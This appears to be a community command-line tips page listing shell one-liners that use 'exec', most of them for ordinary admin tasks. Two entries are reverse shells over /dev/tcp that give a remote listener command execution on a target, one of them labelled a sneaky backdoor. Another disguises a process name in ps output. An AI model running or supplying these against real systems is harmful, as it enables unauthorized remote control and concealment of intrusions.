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Commands using exec

Commands using exec from sorted by
Terminal - Commands using exec - 13 results
exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done
2012-11-16 02:48:01
User: somaddict
Functions: cat exec read
Tags: Security netcat loop nc hack node backdoor
7
Up
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Reverse Backdoor Command Shell using Netcat

This is sneaky.

First, start a listening service on your box.

nc -l 8080 -vvv &

On the target you will create a new descriptor which is assigned to a network node. Then you will read and write to that descriptor.

exec 5<>/dev/tcp/<your_box>/8080;cat <&5 | while read line; do $line 2>&5 >&5; done

You can send it to the background like this:

(exec 5<>/dev/tcp/<your-box>/8080;cat <&5 | while read line; do $line 2>&5 >&5;) &

Now everything you type in our local listening server will get executed on the target and the output of the commands will be piped back to the client.

Show sample output | Comments (0) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
mysqlbinlog <logfiles> | grep exec | grep end_log_pos | cut -d' ' -f2- | cut -d: -f-2 | uniq -c
2012-05-30 09:42:21
User: theist
Functions: cut exec grep uniq
Tags: uniq grep cut mysqlbinlog
1
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mysql bin log events per minute

shows number of mysql bin log events (which are mysql server events) per minute, useful to check stress times postmortem

Show sample output | Comments (5) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
mysqlbinlog <logfiles> | grep exec | grep end_log_pos | grep -v exec_time=0 | sed 's/^\(.*exec_time=\([0-9]\+\).*\)/\2 - \1 /' | sort -n
2012-05-30 09:38:02
User: theist
Functions: exec grep sed sort
Tags: sed grep mysqlbinlog
0
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mysqlbinlog headers sorted by event time

Shows sorted by query time, the headers of mysqlbinlog entries. Then is easy to locate the heavier events on the raw log dump

Show sample output | Comments (2) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
exec -a "/sbin/getty 38400 tty7" your_cmd -erase_all_files
2012-02-01 10:54:03
User: mhs
Functions: exec
Tags: exec ps process table
15
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Hide the name of a process listed in the `ps` output
exec -a $NAME $COMMAND $ARGS

`your_cmd -erase_all_files` is the real process, but harmless-looking getty appears in the process table.

Never actually had a need to do this, but interesting nonetheless... Tested in bash, dash.

-a $NAME

"pass NAME as the zeroth argument to COMMAND", i.e. customise the name of the process (as commonly seen with `ps`)

Show sample output | Comments (2) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
if [ $EUID -ne 0 ]; then if [ -t 0 ]; then exec sudo $0; else exec gksu $0; fi; fi;
2011-08-23 11:43:37
User: stanix
Functions: exec sudo
2
Up
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Force the script to be started as root

Place this code at the beginning of your script to ensure that it can only be executed by the root.

Comments (2) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
(trap 'true' ERR; exec <SEGFAULT_PRONE_PROGRAM>)
2011-07-25 02:30:52
User: h3xx
Functions: exec trap
Tags: trap script error
0
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Collect output from a segfaulting program and keep the script from dying

Crash Override, man!

Apparently the exec call tricks BASH into setting the output buffer size to 0 under the assumption that the system (or the calling shell) will handle the output buffering. trapping the ERR signal will stop the subshell from dying and sending the ERR signal to the main script--which will terminate immediately if it does--when the program fails.

The only problem is that the kernel will output a whole bunch of stack trace garbage directly to the console device once the process segfaults, so there's no way to prevent it from being output [that I know of].

Comments (0) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
exec 3<&0; ls -1N | while read a; do echo "Rename file: $a"; read -e -i "$a" -p "To: " b <&3 ; [ "$a" == "$b" ] || mv -vi "$a" "$b"; done
2011-02-08 21:21:39
User: forcefsck
Functions: echo exec ls mv read
Tags: rename
0
Up
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Rename files in a directory in an edited list fashion

just an alternative to #7818

Show sample output | Comments (0) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
exec 2>&1
2010-08-05 08:24:18
User: redy
Functions: exec
Tags: bash redirection exec stdout redirect redirecting output stderr
9
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Setting global redirection of STDERR to STDOUT in a script

You have a script where =ALL= STDERR should be redirected to STDIN and you don't want to add "2>&1" at the end of each command...

E.G.:

ls -al /foo/bar 2>&1

Than just add this piece of code at the beginning of your script!

I hope this can help someone. :)

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exec 0</dev/tcp/hostname/port; exec 1>&0; exec 2>&0; exec /bin/sh 0</dev/tcp/hostname/port 1>&0 2>&0
2010-03-18 17:25:08
User: truemilk
Functions: exec
Tags: Security bash shell redirecting output pentest
2
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Connect-back shell using Bash built-ins

Connect-back shell using Bash built-ins. Useful in a web app penetration test, if it's the case of a locked down environment, without the need for file uploads or a writable directory.

--

/dev/tcp and /dev/udb redirects must be enabled at compile time in Bash.

Most Linux distros enable this feature by default but at least Debian is known to disable it.

--

http://labs.neohapsis.com/2008/04/17/connect-back-shell-literally/

Comments (1) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
exec bash
2010-02-10 18:51:26
User: bartonski
Functions: exec
4
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Clean way of re-running bash startup scripts.

This replaces the current bash session with a new bash session, run as an interactive non-login shell... useful if you have changed /etc/bash.bashrc, or ~/.bashrc

If you have changed a startup script for login shells, use

exec bash -l

Suitable for re-running /etc/profile, ~/.bash_login and ~/.profile.

edit: chinmaya points out that

env - HOME=$HOME TERM=$TERM bash -s "exec bash -l"

will clear any shell variables which have been set... since this verges on unwieldy, might want to use

alias bash_restart='env - HOME=$HOME TERM=$TERM bash -s "exec bash -l"'
Comments (7) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
exec 3<>/dev/tcp/whatismyip.com/80; echo -e "GET /automation/n09230945.asp HTTP/1.0\r\nHost: whatismyip.com\r\n" >&3; a=( $(cat <&3) ); echo ${a[${#a[*]}-1]};
2009-11-03 21:57:00
User: yaccovs
Functions: cat echo exec
Tags: Network IP external
-3
Up
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Get your external IP address

bash neto..

Comments (3) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
find . -type d -exec env d="$dest_root" sh -c ' exec mkdir -p -- "$d/$1"' '{}' '{}' \;
2009-08-03 12:21:37
User: hahnst
Functions: env exec find mkdir sh
7
Up
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Copy a directory recursively without data/files
Show sample output | Comments (1) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate
///bin/true; exec java bsh.Interpreter "$0" "$@"
2009-02-05 17:00:05
User: chmx
Functions: exec
0
Up
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(Inside of a shell script) Make executable a BeanShell script under Linux/Cygwin

The two lines below are for a BeanShell script so it can be executed under Linux and Cygwin. Also, bsh.jar must be in the CLASSPATH environment variable, or in the jre/lib/ext/ directory of the JVM.

#! /bin/sh

///bin/true; exec java bsh.Interpreter "$0" "$@"

Comments (1) | Add to favourites | Report as malicious | Submit alternative | Report as a duplicate